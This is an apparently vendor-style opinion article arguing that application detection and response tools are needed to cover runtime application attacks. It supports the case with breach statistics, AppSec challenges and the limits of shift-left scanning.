Application detection and response is the gap-bridging technology we need

The concept of detection and response is far from new in cybersecurity — in fact, it’s a core part of the NIST Cybersecurity Framework (CSF) and a fundamental part of any sound cybersecurity program.

You must be able to both detect threats and malicious activity and respond to them, regardless of where they occur and that’s the greatest challenge for the current detection and response landscape.

Most detection and response tools and capabilities have been focused on things such as endpoints, networks, servers, and more, all of which need coverage, leaving one large gap: applications. That gap is now increasingly being targeted, as we see a rise in the role applications play in malicious activity.

For example, the latest Verizon Data Breach Investigations Report (DBIR) pointed out that while traditional attack vectors such as credential compromise and phishing steal lead the pack, vulnerability exploitation grew 180% over the previous year’s report. Verizon stated that vulnerability exploitation now accounts for one-third of all incidents recorded in the DBIR.

Similarly, Mandiant’s M-Trend report for 2024 identified that exploitation represented the most prevalent initial attack vector for intrusions, playing a role in 38% of initial intrusions.

There’s currently a lot of focus on endpoint security

All of this underscores the rising need for application detection and response (ADR), which helps detect and mitigate attacks and intrusions that can happen when an application is running. ADR helps find anomalies in the many applications that organizations roll out in the course of their business.

We’ve got entire security product categories aimed at detection and response, such as endpoint detection and response (EDR), managed detection and response (MDR), and extended detection and response (XDR). Rightfully so, as we have seen a massive growth of trends such as the remote/distributed workforce, bring-your-own-device (BYoD) and more, all of which warrant attention on endpoints.

The focus on endpoints and targets such as the network, endpoints, cloud and data make sense but as evident from the reports cited above, attackers are increasingly targeting applications and their associated vulnerabilities for exploitation. This emphasizes the need for a detection and response capability that makes applications and their threats a priority.

Challenges in the application security landscape

There are also several challenges in the AppSec landscape that further warrant a focus on ADR. They include the always fuzzy “shared-responsibility model,” the complexity of distributed systems and the ever-increasing velocity of change.

In the shared-responsibility model, not only is there the underlying cloud service provider (CSP) to consider, but there are external SaaS integrations and internal development and platform teams, as well as autonomous teams across the organization often leading to opaque systems with a lack of clarity around where responsibilities begin and end. On top of that, there are considerations around third-party dependencies, components, and vulnerabilities to address.

Taking that further, the modern distributed nature of systems creates more opportunities for exploitation and abuse. One example is modern authentication and identity providers, each of which is a potential attack vector over which you have limited visibility due to not owning the underlying infrastructure and logging.

Finally, there’s the reality that we’re dealing with an ever-increasing velocity of change. As the industry continues further adoption of DevOps and automation, software delivery cycles continue to accelerate. That trend is only likely to increase with the use of genAI-driven copilots. This makes it difficult for security tools to detect and respond to potential attacks due to a lack of being able to differentiate between benign and malicious behavioral application activity.

While tools such as web application firewalls (WAF) and runtime application self-protection (RASP) have historically been used to secure applications, they have their own drawbacks and challenges, such as maintaining complex constantly changing rulesets or being cumbersome to the point where they may impact application performance.

Modern applications are complex and have complex security needs

Modern applications can be incredibly complex, involving underlying hosting environments, infrastructure-as-a-service (IaaS) providers, Kubernetes, containers, microservices, and various API calls. All of this complexity can be difficult to address with tools that don’t account for the full runtime context of applications.

Utilizing application context, service interactions, data flows, and accounting for authentication activities can help you identify unexpected and potentially malicious behaviors, and also be more prepared to quickly contain, mitigate and remediate malicious activity, ultimately limiting the blast radius and impact of security incidents.

Building on the comments above about false positives and developer toil is the reality that the overwhelming majority of vulnerability scanning tools lack the full context of runtime applications. We know from sources such as Cyentia that only 4 to 6% of all vulnerabilities discovered are ever actually exploited.

While some modern tools such as SCA are adding capabilities to identify if vulnerabilities are known to be exploited by leveraging sources such as CISA’s Known Exploited Vulnerability (KEV) catalog, or likely to be exploited using the exploit prediction scoring system (EPSS), or actually exploitable with capabilities such as reachability analysis, the runtime context that ADR platforms bring provides even sharper context.

AppSec resources in most organizations are already stretched thin, with developers far outnumbering security staff and focused on competing interests such as deployment velocity. This further emphasizes the need to focus on what matters — that is, what truly poses risk to organizations, can be exploited and can reduce organizational risk.

The hyperfocus on shifting left doesn’t solve app security

If you’ve been paying attention in cybersecurity over the last several years, we’ve seen the big push to “shift security left”, the theory being that it is cheaper and more effective to identify and remediate vulnerability earlier in the software development lifecycle while they are both potentially cheaper to fix as well as before they are in production runtime environments where malicious actors can exploit them.

We’ve seen a proliferation of security scanning tools focused on these activities such as static/dynamic application security testing (SAST/DAST), software composition analysis (SCA), secrets, container scanning, and more.

While all of these tools have their place, the challenge is that runtime (also known as reality) can often look much different than source or build phases in the SDLC. Shifting left can’t anticipate exactly how complex applications will work when running in production environments.

Additionally, many of these tools end up producing hundreds or thousands of findings, many of which lack context and need to be analyzed, discussed, and addressed by engineering and development teams.

That inevitably drains scarce resources and adds lag time to key metrics such as meantime-to-deploy or how quickly developers can get code, features, and innovations into products and applications. After all, while we’re looking left, attackers are looking right — right at production.